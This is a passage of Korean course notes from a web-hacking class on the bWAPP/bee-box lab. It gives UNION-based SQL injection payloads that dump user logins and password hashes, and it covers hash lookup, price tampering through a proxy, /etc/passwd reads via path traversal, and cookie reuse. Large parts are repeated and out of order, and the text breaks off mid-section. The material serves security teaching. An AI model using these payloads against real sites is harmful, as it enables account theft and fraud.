그럴려면 Search for a movie에서 select문을 예상해야 한다.

SELECT ?,? FROM ?,? WHERE movie=’ ‘;

이런 select문을 가질 것이다 라고 예상. movie를 어ᄄᅠᇂ게 채울 것인가?

앞에 select문이 있는데, 뒤에 select문을 쓸려면 ? UNION으로 연결을 한다.

SELECT ~~~~~ UNION SELECT ~~~~~~~~ ;

 

ex) 우리 동내라는 테이블이 있는데, 우리 동내는 회사원도 있고, 학생도 있다. 어ᄄᅠᆫ 사람은 학생이면서 회사원도 있을 수 있다. 이렇게 하면 학생도 골라지고, 회사원도 골라주고, 학생이면서 회사원도 골라진다.

조건이 필요!

앞의 select문에서 요청한 컬럼의 개수와 뒤의 select문에서 요청한 컬럼의 개수가 일치해야 한다.

앞에서 하나 요청하면 뒤에도 하나를 요청하고 뒤에서 두 개 요청했으면 앞에서도 두 개 요청해야 나다.

 

SELECT ?,? FROM ?,? WHERE movie=’ ‘;

SELECT ?,? FROM ?,? WHERE movie=‘UNION SELECT~~~‘; //union을 사용하려고 보니까 앞의 컬럼개수를 모르는 상황 다 넣어본다

SELECT ?,? FROM ?,? WHERE movie=‘UNION SELECT 1 #‘; // 한 개가 아니면 different number of columns라고 나온다. 그러면 두 개를 요청해본다

SELECT ?,? FROM ?,? WHERE movie=‘UNION SELECT 1,2 #‘;. // 이것도 에러날 수 있는데 이렇게 4개ᄁᆞ지 가면 select문이 그냥 실행된다.(앞에도 4, 뒤에도 4)

* 앞에서 요청한 개수에 ᄄᆞ라서 컬럼 개수를 요청해야 한다.

 

‘ union select 1,2,3,4,5 #

‘ union select 1,2,3,4,5,6,7 # // 이렇게 하면 167은 나오지 않는다. 요청한 컬럼 중에서 일부는 hidden, 일부만 보여진다. 그러면 우리가 앞으로 요청하는 값들은 (볼려는 값들은) 2,3,4,5에 넣어야 한다.

 

man’ union select 1,2,3,4,5,6,7 # // 합집합 개념이므로 man이 포함된 영화가 나오고 우리가 요청한 컬럼도 나온다.

thor’ union select 1,2,3,4,5,6,7 # //thor라는 영화가 없어서 Null상태, 우리가 요청한 컬럼이 나옴

0‘ union select 1,2,3,4,5,6,7 # // 0이 들어가는 영화가 나온다. 300이라는 영화가 있으면 300영화랑 우리가 요청한 컬럼이 나온다.

1‘ union select 1,2,3,4,5,6,7 # // 1이 들어가는 영화가 나온다.

 

-DB명을 알아내려면?

어제 내부함수를 설명했는데, (내부함수: database()DB명을 알려준다. version()MYSQL버전을 알려준다. user()는 사용자 이름)

 

1' union select 1, database(), version(), 4, user(), 6, 7 #

titleDB, 버전은 취약점에는 특정 버전에만 존재하기 때문에 버전을 알려는 것은 취약점이 뭐다라는 것을 알려고 하는 것이다. 버전만 보고 취약점이 있는지 없는지는 어떻게 알까? 모든 정보는 구글이 알고 있다.

(취약점 분석 == 버전을 알아낸다.) 해당 버전에 해당하는 취약점을 매칭시킴

 

DB: bWAPP

 

2. 테이블명을 알아내려면?

1‘ union select 1.table_name,3,4,5,6,7 from information_schema.tables #

// 테이블 이름이 너무 많이 나온다.

1' union select 1,table_name,3,4,5,6,7 from information_schema.tables where table_schema='bWAPP' #

 

USER라는 테이블이 있는데, 여기에 개인정보가 가득 들어있다.

 

컬럼명을 알아내려면?

1' union select 1,column_name,3,4,5,6,7 from information_schema.columns # //컬럼이름이 너무 많이 나옴.

1' union select 1,column_name,3,4,5,6,7 from information_schema.columns where table_schema=’bWAPP‘ and table_name=’users‘ #

사용자들이 만든 컬럼은 소문자

 

 

 

 

+--------------------+

| Database |

+--------------------+

| information_schema |

| bWAPP |

| drupageddon |

| mysql |

+--------------------+

4 rows in set (0.00 sec)

 

bwapp, mysql...등 이러한 데이터베이스는 information_schema에 들어있다.

 

use bWAPP; //bWAPP이란 DB를 사용해야겠다는 의미

show tables; // 어ᄄᅠᆫ 테이블이 있는지 확인

+-----------------+

| Tables_in_bWAPP |

+-----------------+

| blog |

| heroes |

| movies |

| users |

| visitors |

+-----------------+

5 rows in set (0.00 sec)

desc users; //users라는 테이블에 어떤 컬럼이 있는가?

select * from users;

select * from heroes;

select * from blog;

use information_schema;

show tables;

 

desc tables; // tables라는 테이블의 컬럼 목록 보기

table_schema라는 컬럼과 table_name이라는 컬럼이 있음.

desc columns;

table_schema, table_name, column_name이라는 칼럼이 있다.

 

참고) WHERE조건절에서 descdescend의 약자 (: 하강하다) asc(ascend: 상승하다)

 

order by로 컬럼 개수 알아내기

0‘ order by 1 #

0‘ order by 2 #

0‘ order by 3 #

0‘ order by 4 #

....

0‘ order by 8 # //오류발생 7개구나!

 

우리가 원하는 컬럼은??

1‘ union select 1, column_name, 3,4,5,6,7 from information_schema.columns where table_schema=’bWAPP‘ and table_name=’users‘ #

------> id, login, password, secret

 

컬럼 내용을 보려면? 테이블명은 users

 

1’union select 1,id, login, secret, password, 6,7 from users #

해시값으로 저장되어 있는데, 평문으로 출력

테이블명이 heroes에서 컬럼의 내용을 보려면?

1’ union select 1,id, login, secret, password, 6,7 from heroes #

 

평문으로 저장되어 있어서 해시값으로 출력(sqlt를 섞지 않음.)

 

원래는 해시값을 가지고 원문(패스워드)을 알 수 없음. 그러나 미리 이걸 누가 계산을 해두면? hashes.com //해시값을 계산해주는 사이트, 해시값을 물어보면 원문 패스워드를 알려줌, salt 없는 것만 됨.

 

6885858486f31043e5839c735d99457f045affd0:bug // 비밀번호는 bug

afbde7f7fa09cbce5e05218dc901d49351758176:icecream //비밀번호는 icecreamm

 

이게 해시값인지 어떻게 알았는가?

a부터 f까지의(g이후로는 없음) 알파벳과 0-9ᄁᆞ지 숫자로 이루어져 있음. hex-decimal(16진수)

그러면 16진수는 24승이므로 4bit(각 자리가 4bit) 16진수가 40자리 * 4bit = 160bit(160비트로 나오는 것 중 대표적인게, SHA-1의 해시값, ECC160bit 등등)

 

왜 내가 만든 패스워드는 못 찾을ᄁᆞ?

- hashes.com에서 모든 해시값을 만들 수 없기 떄문에 자주 사용하는 단어들에 대해서만 해시값을 저장해놓고, 일치하는 해시값이 있으면 원문을 알려주는 방식

새로 만든 패스워드나 어렵게 만든 패스워드에 대한 해시값은 없기 때문에 찾을 수가 없는 것

https://crackstation.net/

 

salt를 섞은지 아닌지 알 수 있는가? hashes.com에 안나오면 salt를 섞은 것

 

Dictionary: 자주 사용하는 단어들을 모아놓은 파일, 주로 패시워드를 크래킹할떄 사용한다.

참고) window에서 lcp에서 딕셔너리가 들어있다.

 

보안이 강한 해시함수 중에서 MD5(128bit), SHA-1(160bit)은 안전하지 않으니, SHA-2(256bit): 비트코인, 공인인증서 등 SHA-2(512bit)는 리눅스 운영체제 등에서 사용되고 있다.

해시값이 길수록 안전하다 경우의 수가 늘어나기 떄문에

 

cat /etc/ shadowsalt, 해쉬값이 들어있다.

 

 

* 정보보호의 3요소

기밀성(confidentiality) : 내용이 노출되지 않도록 하는 것

무결성(integrity): 내용이 변조되지 않도록 하는 것

가용성(availability): 항상 사용가능한 상태를 유지하는 것

 

일반기업(사기업)은 기밀성> 무결성> 가용성

ex) 설계도(제조사), 개인정보(쇼핑몰 등), 영업비밀(마케팅, 물류 등)

암호화, 업무 분장(job seperation) 한 사람이 너무 많은 권한을 가지고 있으면 부패한다.

망분리(운용망과 인터넷을 분리)

공기업, 공공기관은 가용성> 무결성> 기밀성

ex) 항만, 철도, 공항, 통신(인터넷, 전화), 전력, 정부기관망 등등

중간에 잘못돼서 연결이 안되면 큰일남 ex) 전기가 중간에 안되면 큰일남

전쟁을 전후로 사회 인프라를 공격하는 시도

 

보안 개발 생명 주기

life cycle: 너무 오래된 sw는 취약점이 많아지기 떄문에 노후화되면 폐기해야 한다.

하나의 sw/웹사이트를 만들면, 6-7년 정도 사용하고 지나가면 차세대 시스템 사업(교체)

: 은행 포함, 공공기관 사이트들의 개선 작업

 

사용자 인터페이스는 그대로 두고 내부를 바꾼다던지 그런 경우도 있고, 내부는 그대로 있고, 외부 인터페이스를 바꾸는 경우도 있다.

 

 

# 실습

 

시나리오 #2: 영화관 체인은 단체 예약 할인을 허용하고 보증금을 요구하기 전에 최대 15명의 참석자

가 있습니다. 공격자는 이 흐름을 모델링하고 몇 번의 요청으로 600석과 모든 영화관을 한 번에 예약

할 수 있는지 테스트하여 막대한 수입 손실을 초래할 수 있다고 위협할 수 있습니다.

 

문제) 어떻게 하면 1유로에 영화를 볼 수 있겠는가?

방법1) 관리자 도구(F12)

hidden으로 설정되어 있어서 계산한 값이 나오지 않는다.

방법2) proxy burp suite를 이용

인터넷 옵션> 연결> lan연결 > 프락시 서버 체크(127.0.0.1: 8080)

beebox: A4 Insecure DOR (Order Tickets)

proxy:intercept on 값 변경(ticket_quantity=500&ticket_price=0.001&action=order)

 

* 최근에는 CMS(Contents management system)를 도입한 회사들이 많이 있음.

가격이 변조되지 않았는지, 가격이 비정상적으로 처리되지 않았는지 이러한 것들을 확인하는 시스템

지금은 웬만한 대기업들은 다 구성되어 있다.

 

beebox실습 A7의 첫 번쨰

/directory traversal directories/

디렉터리가 그대로 노출되고 있음

웹 쉘을 업로드 하고, 웹 쉘 업로드한 경로를 찾기 어려웅때 디렉터리가 그대로 노출되면 쉽게 실행 가능

/home/ Wolverine 디렉터리에 있는 PDF파일은 몇 개일ᄁᆞ?

URL의 뭐리에 디렉터리 경로를 입력함 ?directory=/home/wilverine/Examples

$cd /home/wolverine/Examples

$ls *.pdf

 

BEEBOX실습 A7의 두 번쨰

/etc/passwd에 보면 neoUID는 무엇인가?

?page=/etc/passwd

$ cd /etc

$ vi passwd

 

* 디렉터리가 노출되는 사이트의 특징

index.of

parent directory

검색어에 넣으면 디렉터리가 노출되는 사이트를 보여줌.

 

 

Zeroday Exploit(23시간)
그런데 알려지지 않은 취약점이 있다
제조사가 아직 모르는 상태라서 패치가 아직 없다.
취약점을 발표하고 24시간
무방비 상태에서 공격을 하는 것
제조사가 패치를 만들기 전 (PoC이전, 패치를 만드는 중, 패치를 만들었는데 취약점이 사라지지 않는 경우) 이런 경우가 패치가 나오기 전 상태
패치를 만드는데 걸리는 시간 ? 보통 평균 25-50일 정도
왜이렇게 오래 걸려? 오늘 취약점이 나왔는데, 담당자 미팅이 가능한가? 알 수 없다. 그래서 어떤 취약점인지 파악할 수 없다. 담당자와 약속시간을 맞출 수 없기 때문에 늦어짐(poc단계) + 파악하고 설계자한테 넘겨줄려고 했더니 설계자하고도 약속시간을 맞출 수 없다. + 개발자도 약속 시간을 맞추기 어렵다. + 테스터도 약속시간을 맞추기 어렵다 + 취약점이 맞지 않는다면 또 테스터에게 가서 검사를 받고 이런 식으로 되돌아 간다. 그러면 패치만드는 동안 뉴스에 나오지 않기 위해 엠바고를 건다.
, 중간에 거쳐야할 전문가들이 너무 많다.


- 다크 웹에서 고액으로 거래가 되기도 한다.(iPhone > Windows> ....)
제일 비싼 취약점은 아이폰...
Oneday Exploit
알려진 취약점
패치 나와있음
설치 안하면 공격 가능


패치가 있는데 왜 적용하지 않는가? 의존성(Dependancy)문제 os를 업데이트하면 app은 돌아가지 않을 수 있다. 그러면 엉망이되기 때문에 이런 것 떄문에 의존성 문제 발생(os업데이트 문제)
에러 발생시 엄청난 손실이 발생할 우려
version: 3.2.8(3: 업그레이드, 2:업데이트, 8:패치)

 

약점

약점은 항상 존재한다.(없어지지 않음)

약점 번호체계: CWE-nnnnn

 

취약점

약점 중에 특정 버전에서 특히 심각한 손상을 입힐 수 있는 부분을 취약점(vulberability, vulns)이라고 한다.

취약점 중에서 특히 실제 공격이 가능하면 Exploit이라 한다. (exploit은 취약점을 의미한다.)

 

shodan: IoT기기를 검색하는 검색 엔진

취약한 IOT기기를 검색하거나 id/ pw가 취약한 장치를 파악할 때 사용

 

shodan.io 사이트에 접근하지 못하도록 차단하는 것이 좋은가?

그러면 눈가리고 하늘을 보는 것, 즉 바보같은 행동 전세계 사람들은 shodan을 이용해서 우리나라의 취약점을 보는데, 우리나라만 못본다면 바보같은 행동임.

 

하트블리드 취약점

오픈 ssl특정 버전에 존재하는 취약점

 

1. 해커가 '감자'라고 두 글자로 대답하면 서버는 감자라고 대답함.

2. 해커가 모자라고 500글자 대답해봐 라고 서버에게 전하면 서버는 모자는 두 글자인데 500자로 어떻게 대답을 할까?

3. 그러면 서버는 모자를 포함에 메모리 번지도 대답을 한다. 그런데 이 메모리 번지안에는 비밀번호가 포함될 수 있기 때문에 정보를 유출당할 수 있다. (tmi기법)

 

Credential stuffing

취약한 사이트에서 여러 사람의 id/pw 목록을 알아낸다.

이것을 다른 사이트에 대입한다.

공격이 가능한 이유는? 대부분의 사람들이 여러 사이트에 같은 아이디와 패스워드를 사용하기 떄문에

대응 방법: 강력한 보안 솔루션 사용(x) 사용자들이 사이트마다 서로 다른 id/pw를 사용해야 함.

 

인증(authentication)

beebox A2 세 번째

 

A6/Base64 Encoding(Secret)/

1) low

쿠키에 숨어있는 내용은?#

쿠키값 utf-8 base64 디코더 any bugs?

 

broken auth.-logout management

1) low

로그아웃한 이후에 쿠키를 재사용해보기(쿠키 재사용 공격)

로그아웃하기 전에 쿠키값을 복사

로그아웃 클릭

쿠키를 임의의 값으로 교체하고 저장

login.php를 지우고 엔터 로그인하라고 나옴

쿠키값을 다시 입력하고 첫 페이지를 클릭하면 welcome blackpink라고 나옴 쿠키값을 재사용하고 있음.그래서 이러한 DB구조

 

*Beebox 문제풀이

A1.injection

/SQL Injection(get/search)

 

* 우리가 알아야할 것 : 모든 계정에 대한 idpw를 알아내려면?

DB이름, 테이블이름, 컬럼 이름을 알아내야 한다. select문을 사용해야 한다.(조회)

그럴려면 Search for a movie에서 select문을 예상해야 한다.

SELECT ?,? FROM ?,? WHERE movie=’ ‘;

이런 select문을 가질 것이다 라고 예상. movie를 어ᄄᅠᇂ게 채울 것인가?

앞에 select문이 있는데, 뒤에 select문을 쓸려면 ? UNION으로 연결을 한다.

SELECT ~~~~~ UNION SELECT ~~~~~~~~ ;

 

ex) 우리 동내라는 테이블이 있는데, 우리 동내는 회사원도 있고, 학생도 있다. 어ᄄᅠᆫ 사람은 학생이면서 회사원도 있을 수 있다. 이렇게 하면 학생도 골라지고, 회사원도 골라주고, 학생이면서 회사원도 골라진다.

조건이 필요!

앞의 select문에서 요청한 컬럼의 개수와 뒤의 select문에서 요청한 컬럼의 개수가 일치해야 한다.

앞에서 하나 요청하면 뒤에도 하나를 요청하고 뒤에서 두 개 요청했으면 앞에서도 두 개 요청해야 나다.

 

SELECT ?,? FROM ?,? WHERE movie=’ ‘;

SELECT ?,? FROM ?,? WHERE movie=‘UNION SELECT~~~‘; //union을 사용하려고 보니까 앞의 컬럼개수를 모르는 상황 다 넣어본다

SELECT ?,? FROM ?,? WHERE movie=‘UNION SELECT 1 #‘; // 한 개가 아니면 different number of columns라고 나온다. 그러면 두 개를 요청해본다

SELECT ?,? FROM ?,? WHERE movie=‘UNION SELECT 1,2 #‘;. // 이것도 에러날 수 있는데 이렇게 4개ᄁᆞ지 가면 select문이 그냥 실행된다.(앞에도 4, 뒤에도 4)

* 앞에서 요청한 개수에 ᄄᆞ라서 컬럼 개수를 요청해야 한다.

 

‘ union select 1,2,3,4,5 #

‘ union select 1,2,3,4,5,6,7 # // 이렇게 하면 167은 나오지 않는다. 요청한 컬럼 중에서 일부는 hidden, 일부만 보여진다. 그러면 우리가 앞으로 요청하는 값들은 (볼려는 값들은) 2,3,4,5에 넣어야 한다.

 

man’ union select 1,2,3,4,5,6,7 # // 합집합 개념이므로 man이 포함된 영화가 나오고 우리가 요청한 컬럼도 나온다.

thor’ union select 1,2,3,4,5,6,7 # //thor라는 영화가 없어서 Null상태, 우리가 요청한 컬럼이 나옴

0‘ union select 1,2,3,4,5,6,7 # // 0이 들어가는 영화가 나온다. 300이라는 영화가 있으면 300영화랑 우리가 요청한 컬럼이 나온다.

1‘ union select 1,2,3,4,5,6,7 # // 1이 들어가는 영화가 나온다.

 

-DB명을 알아내려면?

어제 내부함수를 설명했는데, (내부함수: database()DB명을 알려준다. version()MYSQL버전을 알려준다. user()는 사용자 이름)

 

1' union select 1, database(), version(), 4, user(), 6, 7 #

titleDB, 버전은 취약점에는 특정 버전에만 존재하기 때문에 버전을 알려는 것은 취약점이 뭐다라는 것을 알려고 하는 것이다. 버전만 보고 취약점이 있는지 없는지는 어떻게 알까? 모든 정보는 구글이 알고 있다.

(취약점 분석 == 버전을 알아낸다.) 해당 버전에 해당하는 취약점을 매칭시킴

 

DB: bWAPP

 

2. 테이블명을 알아내려면?

1‘ union select 1.table_name,3,4,5,6,7 from information_schema.tables #

// 테이블 이름이 너무 많이 나온다.

1' union select 1,table_name,3,4,5,6,7 from information_schema.tables where table_schema='bWAPP' #

 

USER라는 테이블이 있는데, 여기에 개인정보가 가득 들어있다.

 

컬럼명을 알아내려면?

1' union select 1,column_name,3,4,5,6,7 from information_schema.columns # //컬럼이름이 너무 많이 나옴.

1' union select 1,column_name,3,4,5,6,7 from information_schema.columns where table_schema=’bWAPP‘ and table_name=’users‘ #

사용자들이 만든 컬럼은 소문자

 

 

 

 

+--------------------+

| Database |

+--------------------+

| information_schema |

| bWAPP |

| drupageddon |

| mysql |

+--------------------+

4 rows in set (0.00 sec)

 

bwapp, mysql...등 이러한 데이터베이스는 information_schema에 들어있다.

 

use bWAPP; //bWAPP이란 DB를 사용해야겠다는 의미

show tables; // 어ᄄᅠᆫ 테이블이 있는지 확인

+-----------------+

| Tables_in_bWAPP |

+-----------------+

| blog |

| heroes |

| movies |

| users |

| visitors |

+-----------------+

5 rows in set (0.00 sec)

desc users; //users라는 테이블에 어떤 컬럼이 있는가?

select * from users;

select * from heroes;

select * from blog;

use information_schema;

show tables;

 

desc tables; // tables라는 테이블의 컬럼 목록 보기

table_schema라는 컬럼과 table_name이라는 컬럼이 있음.

desc columns;

table_schema, table_name, column_name이라는 칼럼이 있다.

 

참고) WHERE조건절에서 descdescend의 약자 (: 하강하다) asc(ascend: 상승하다)

 

order by로 컬럼 개수 알아내기

0‘ order by 1 #

0‘ order by 2 #

0‘ order by 3 #

0‘ order by 4 #

....

0‘ order by 8 # //오류발생 7개구나!

 

우리가 원하는 컬럼은??

1‘ union select 1, column_name, 3,4,5,6,7 from information_schema.columns where table_schema=’bWAPP‘ and table_name=’users‘ #

------> id, login, password, secret

 

컬럼 내용을 보려면? 테이블명은 users

 

1’union select 1,id, login, secret, password, 6,7 from users #

해시값으로 저장되어 있는데, 평문으로 출력

테이블명이 heroes에서 컬럼의 내용을 보려면?

1’ union select 1,id, login, secret, password, 6,7 from heroes #

 

평문으로 저장되어 있어서 해시값으로 출력(sqlt를 섞지 않음.)

 

원래는 해시값을 가지고 원문(패스워드)을 알 수 없음. 그러나 미리 이걸 누가 계산을 해두면? hashes.com //해시값을 계산해주는 사이트, 해시값을 물어보면 원문 패스워드를 알려줌, salt 없는 것만 됨.

 

6885858486f31043e5839c735d99457f045affd0:bug // 비밀번호는 bug

afbde7f7fa09cbce5e05218dc901d49351758176:icecream //비밀번호는 icecreamm

 

이게 해시값인지 어떻게 알았는가?

a부터 f까지의(g이후로는 없음) 알파벳과 0-9ᄁᆞ지 숫자로 이루어져 있음. hex-decimal(16진수)

그러면 16진수는 24승이므로 4bit(각 자리가 4bit) 16진수가 40자리 * 4bit = 160bit(160비트로 나오는 것 중 대표적인게, SHA-1의 해시값, ECC160bit 등등)

 

왜 내가 만든 패스워드는 못 찾을ᄁᆞ?

- hashes.com에서 모든 해시값을 만들 수 없기 떄문에 자주 사용하는 단어들에 대해서만 해시값을 저장해놓고, 일치하는 해시값이 있으면 원문을 알려주는 방식

새로 만든 패스워드나 어렵게 만든 패스워드에 대한 해시값은 없기 때문에 찾을 수가 없는 것

https://crackstation.net/

 

salt를 섞은지 아닌지 알 수 있는가? hashes.com에 안나오면 salt를 섞은 것

 

Dictionary: 자주 사용하는 단어들을 모아놓은 파일, 주로 패시워드를 크래킹할떄 사용한다.

참고) window에서 lcp에서 딕셔너리가 들어있다.

 

보안이 강한 해시함수 중에서 MD5(128bit), SHA-1(160bit)은 안전하지 않으니, SHA-2(256bit): 비트코인, 공인인증서 등 SHA-2(512bit)는 리눅스 운영체제 등에서 사용되고 있다.

해시값이 길수록 안전하다 경우의 수가 늘어나기 떄문에

 

cat /etc/ shadowsalt, 해쉬값이 들어있다.

 

 

* 정보보호의 3요소

기밀성(confidentiality) : 내용이 노출되지 않도록 하는 것

무결성(integrity): 내용이 변조되지 않도록 하는 것

가용성(availability): 항상 사용가능한 상태를 유지하는 것

 

일반기업(사기업)은 기밀성> 무결성> 가용성

ex) 설계도(제조사), 개인정보(쇼핑몰 등), 영업비밀(마케팅, 물류 등)

암호화, 업무 분장(job seperation) 한 사람이 너무 많은 권한을 가지고 있으면 부패한다.

망분리(운용망과 인터넷을 분리)

공기업, 공공기관은 가용성> 무결성> 기밀성

ex) 항만, 철도, 공항, 통신(인터넷, 전화), 전력, 정부기관망 등등

중간에 잘못돼서 연결이 안되면 큰일남 ex) 전기가 중간에 안되면 큰일남

전쟁을 전후로 사회 인프라를 공격하는 시도

 

보안 개발 생명 주기

life cycle: 너무 오래된 sw는 취약점이 많아지기 떄문에 노후화되면 폐기해야 한다.

하나의 sw/웹사이트를 만들면, 6-7년 정도 사용하고 지나가면 차세대 시스템 사업(교체)

: 은행 포함, 공공기관 사이트들의 개선 작업

 

사용자 인터페이스는 그대로 두고 내부를 바꾼다던지 그런 경우도 있고, 내부는 그대로 있고, 외부 인터페이스를 바꾸는 경우도 있다.

 

 

# 실습

 

시나리오 #2: 영화관 체인은 단체 예약 할인을 허용하고 보증금을 요구하기 전에 최대 15명의 참석자

가 있습니다. 공격자는 이 흐름을 모델링하고 몇 번의 요청으로 600석과 모든 영화관을 한 번에 예약

할 수 있는지 테스트하여 막대한 수입 손실을 초래할 수 있다고 위협할 수 있습니다.

 

문제) 어떻게 하면 1유로에 영화를 볼 수 있겠는가?

방법1) 관리자 도구(F12)

hidden으로 설정되어 있어서 계산한 값이 나오지 않는다.

방법2) proxy burp suite를 이용

인터넷 옵션> 연결> lan연결 > 프락시 서버 체크(127.0.0.1: 8080)

beebox: A4 Insecure DOR (Order Tickets)

proxy:intercept on 값 변경(ticket_quantity=500&ticket_price=0.001&action=order)

 

* 최근에는 CMS(Contents management system)를 도입한 회사들이 많이 있음.

가격이 변조되지 않았는지, 가격이 비정상적으로 처리되지 않았는지 이러한 것들을 확인하는 시스템

지금은 웬만한 대기업들은 다 구성되어 있다.

 

beebox실습 A7의 첫 번쨰

/directory traversal directories/

디렉터리가 그대로 노출되고 있음

웹 쉘을 업로드 하고, 웹 쉘 업로드한 경로를 찾기 어려웅때 디렉터리가 그대로 노출되면 쉽게 실행 가능

/home/ Wolverine 디렉터리에 있는 PDF파일은 몇 개일ᄁᆞ?

URL의 뭐리에 디렉터리 경로를 입력함 ?directory=/home/wilverine/Examples

$cd /home/wolverine/Examples

$ls *.pdf

 

BEEBOX실습 A7의 두 번쨰

/etc/passwd에 보면 neoUID는 무엇인가?

?page=/etc/passwd

$ cd /etc

$ vi passwd

 

* 디렉터리가 노출되는 사이트의 특징

index.of

parent directory

검색어에 넣으면 디렉터리가 노출되는 사이트를 보여줌.

 

 

Zeroday Exploit(23시간)
그런데 알려지지 않은 취약점이 있다
제조사가 아직 모르는 상태라서 패치가 아직 없다.
취약점을 발표하고 24시간
무방비 상태에서 공격을 하는 것
제조사가 패치를 만들기 전 (PoC이전, 패치를 만드는 중, 패치를 만들었는데 취약점이 사라지지 않는 경우) 이런 경우가 패치가 나오기 전 상태
패치를 만드는데 걸리는 시간 ? 보통 평균 25-50일 정도
왜이렇게 오래 걸려? 오늘 취약점이 나왔는데, 담당자 미팅이 가능한가? 알 수 없다. 그래서 어떤 취약점인지 파악할 수 없다. 담당자와 약속시간을 맞출 수 없기 때문에 늦어짐(poc단계) + 파악하고 설계자한테 넘겨줄려고 했더니 설계자하고도 약속시간을 맞출 수 없다. + 개발자도 약속 시간을 맞추기 어렵다. + 테스터도 약속시간을 맞추기 어렵다 + 취약점이 맞지 않는다면 또 테스터에게 가서 검사를 받고 이런 식으로 되돌아 간다. 그러면 패치만드는 동안 뉴스에 나오지 않기 위해 엠바고를 건다.
, 중간에 거쳐야할 전문가들이 너무 많다.


- 다크 웹에서 고액으로 거래가 되기도 한다.(iPhone > Windows> ....)
제일 비싼 취약점은 아이폰...
Oneday Exploit
알려진 취약점
패치 나와있음
설치 안하면 공격 가능


패치가 있는데 왜 적용하지 않는가? 의존성(Dependancy)문제 os를 업데이트하면 app은 돌아가지 않을 수 있다. 그러면 엉망이되기 때문에 이런 것 떄문에 의존성 문제 발생(os업데이트 문제)
에러 발생시 엄청난 손실이 발생할 우려
version: 3.2.8(3: 업그레이드, 2:업데이트, 8:패치)

 

약점

약점은 항상 존재한다.(없어지지 않음)

약점 번호체계: CWE-nnnnn

 

취약점

약점 중에 특정 버전에서 특히 심각한 손상을 입힐 수 있는 부분을 취약점(vulberability, vulns)이라고 한다.

취약점 중에서 특히 실제 공격이 가능하면 Exploit이라 한다. (exploit은 취약점을 의미한다.)

 

shodan: IoT기기를 검색하는 검색 엔진

취약한 IOT기기를 검색하거나 id/ pw가 취약한 장치를 파악할 때 사용

 

shodan.io 사이트에 접근하지 못하도록 차단하는 것이 좋은가?

그러면 눈가리고 하늘을 보는 것, 즉 바보같은 행동 전세계 사람들은 shodan을 이용해서 우리나라의 취약점을 보는데, 우리나라만 못본다면 바보같은 행동임.

 

하트블리드 취약점

오픈 ssl특정 버전에 존재하는 취약점

 

1. 해커가 '감자'라고 두 글자로 대답하면 서버는 감자라고 대답함.

2. 해커가 모자라고 500글자 대답해봐 라고 서버에게 전하면 서버는 모자는 두 글자인데 500자로 어떻게 대답을 할까?

3. 그러면 서버는 모자를 포함에 메모리 번지도 대답을 한다. 그런데 이 메모리 번지안에는 비밀번호가 포함될 수 있기 때문에 정보를 유출당할 수 있다. (tmi기법)

 

Credential stuffing

취약한 사이트에서 여러 사람의 id/pw 목록을 알아낸다.

이것을 다른 사이트에 대입한다.

공격이 가능한 이유는? 대부분의 사람들이 여러 사이트에 같은 아이디와 패스워드를 사용하기 떄문에

대응 방법: 강력한 보안 솔루션 사용(x) 사용자들이 사이트마다 서로 다른 id/pw를 사용해야 함.

 

인증(authentication)

beebox A2 세 번째

 

A6/Base64 Encoding(Secret)/

1) low

쿠키에 숨어있는 내용은?

쿠키값 utf-8 base64 디코더 any bugs?

 

broken auth.-logout management

1) low

로그아웃한 이후에 쿠키를 재사용해보기(쿠키 재사용 공격)

로그아웃하기 전에 쿠키값을 복사

로그아웃 클릭

쿠키를 임의의 값으로 교체하고 저장

login.php를 지우고 엔터 로그인하라고 나옴

쿠키값을 다시 입력하고 첫 페이지를 클릭하면 welcome blackpink라고 나옴 쿠키값을 재사용하고 있음.

 

*Beebox 문제풀이

A1.injection

/SQL Injection(get/search)

 

* 우리가 알아야할 것 : 모든 계정에 대한 idpw를 알아내려면?

DB이름, 테이블이름, 컬럼 이름을 알아내야 한다. select문을 사용해야 한다.(조회)

그럴려면 Search for a movie에서 select문을 예상해야 한다.

SELECT ?,? FROM ?,? WHERE movie=’ ‘;

이런 select문을 가질 것이다 라고 예상. movie를 어ᄄᅠᇂ게 채울 것인가?

앞에 select문이 있는데, 뒤에 select문을 쓸려면 ? UNION으로 연결을 한다.

SELECT ~~~~~ UNION SELECT ~~~~~~~~ ;

 

ex) 우리 동내라는 테이블이 있는데, 우리 동내는 회사원도 있고, 학생도 있다. 어ᄄᅠᆫ 사람은 학생이면서 회사원도 있을 수 있다. 이렇게 하면 학생도 골라지고, 회사원도 골라주고, 학생이면서 회사원도 골라진다.

조건이 필요!

앞의 select문에서 요청한 컬럼의 개수와 뒤의 select문에서 요청한 컬럼의 개수가 일치해야 한다.

앞에서 하나 요청하면 뒤에도 하나를 요청하고 뒤에서 두 개 요청했으면 앞에서도 두 개 요청해야 나다.

 

SELECT ?,? FROM ?,? WHERE movie=’ ‘;

SELECT ?,? FROM ?,? WHERE movie=‘UNION SELECT~~~‘; //union을 사용하려고 보니까 앞의 컬럼개수를 모르는 상황 다 넣어본다

SELECT ?,? FROM ?,? WHERE movie=‘UNION SELECT 1 #‘; // 한 개가 아니면 different number of columns라고 나온다. 그러면 두 개를 요청해본다

SELECT ?,? FROM ?,? WHERE movie=‘UNION SELECT 1,2 #‘;. // 이것도 에러날 수 있는데 이렇게 4개ᄁᆞ지 가면 select문이 그냥 실행된다.(앞에도 4, 뒤에도 4)

* 앞에서 요청한 개수에 ᄄᆞ라서 컬럼 개수를 요청해야 한다.

 

‘ union select 1,2,3,4,5 #

‘ union select 1,2,3,4,5,6,7 # // 이렇게 하면 167은 나오지 않는다. 요청한 컬럼 중에서 일부는 hidden, 일부만 보여진다. 그러면 우리가 앞으로 요청하는 값들은 (볼려는 값들은) 2,3,4,5에 넣어야 한다.

 

man’ union select 1,2,3,4,5,6,7 # // 합집합 개념이므로 man이 포함된 영화가 나오고 우리가 요청한 컬럼도 나온다.

thor’ union select 1,2,3,4,5,6,7 # //thor라는 영화가 없어서 Null상태, 우리가 요청한 컬럼이 나옴

0‘ union select 1,2,3,4,5,6,7 # // 0이 들어가는 영화가 나온다. 300이라는 영화가 있으면 300영화랑 우리가 요청한 컬럼이 나온다.

1‘ union select 1,2,3,4,5,6,7 # // 1이 들어가는 영화가 나온다.

 

-DB명을 알아내려면?

어제 내부함수를 설명했는데, (내부함수: database()DB명을 알려준다. version()MYSQL버전을 알려준다. user()는 사용자 이름)

 

1' union select 1, database(), version(), 4, user(), 6, 7 #

titleDB, 버전은 취약점에는 특정 버전에만 존재하기 때문에 버전을 알려는 것은 취약점이 뭐다라는 것을 알려고 하는 것이다. 버전만 보고 취약점이 있는지 없는지는 어떻게 알까? 모든 정보는 구글이 알고 있다.

